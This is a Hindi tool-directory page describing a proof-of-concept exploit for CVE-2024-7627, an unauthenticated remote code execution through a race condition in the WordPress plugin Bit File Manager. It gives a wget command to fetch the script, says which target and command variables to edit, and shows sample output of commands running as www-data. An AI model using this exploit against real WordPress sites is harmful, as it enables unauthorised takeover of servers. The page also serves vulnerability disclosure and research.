Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-7627-PoC — WordPress प्लगइन Bit File Manager संस्करण 6.0 - 6.5.5 में रेस कंडीशन के माध्यम से अनधिकृत रिमोट कोड निष्पादन (CVE-2024-7627) भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट | Kitploit
उपकरण/GitHubGitHub/siunam321/cve-2024-7627-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubsiunam321/cve-2024-7627-poc

CVE-2024-7627-PoC

WordPress प्लगइन Bit File Manager संस्करण 6.0 - 6.5.5 में रेस कंडीशन के माध्यम से अनधिकृत रिमोट कोड निष्पादन (CVE-2024-7627) भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट

रिपॉजिटरी देखें
621 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-7627-PoC

पृष्ठभूमि

यह प्रमाण-अवधारणा (PoC) स्क्रिप्ट WordPress प्लगइन Bit File Manager संस्करण 6.0 - 6.5.5 में रेस कंडीशन (CVE-2024-7627) के माध्यम से बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन कमजोरी के लिए है।

जानकारी

विवरण:

WordPress के लिए Bit File Manager प्लगइन संस्करण 6.0 से 6.5.5 में 'checkSyntax' फ़ंक्शन के माध्यम से दूरस्थ कोड निष्पादन के लिए संवेदनशील है। ऐसा फ़ाइल सत्यापन करने से पहले एक अस्थायी फ़ाइल को सार्वजनिक रूप से सुलभ निर्देशिका में लिखने के कारण होता है। यदि किसी व्यवस्थापक ने अतिथि उपयोगकर्ता पढ़ने की अनुमति (Guest User read permissions) दी है, तो यह बिना प्रमाणीकरण के हमलावरों को सर्वर पर कोड निष्पादित करने में सक्षम बनाता है। (से https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)

तकनीकी विवरण

Writeup: https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/#flawedmissing-permission-check---bit-file-manager-rce-via-race-condition

स्थापना

root@kitploit:~
wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py

उपयोग/शोषण

  • पूर्वापेक्षा: उपयोगकर्ता पहुँच का अनुमान लगाएं और शॉर्टकोड file-manager को व्यवस्थापक द्वारा पहले से सेटअप किया जाना चाहिए।

Python स्क्रिप्ट poc.py में targetBaseUrl, fileManagerPostPath, और/या commandToExecute को अपने इच्छित मान पर अपडेट करें। फिर, PoC स्क्रिप्ट चलाने के लिए python3 poc.py चलाएँ।

उदाहरण आउटपुट:

root@kitploit:~
└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6
टूल डाउनलोड करें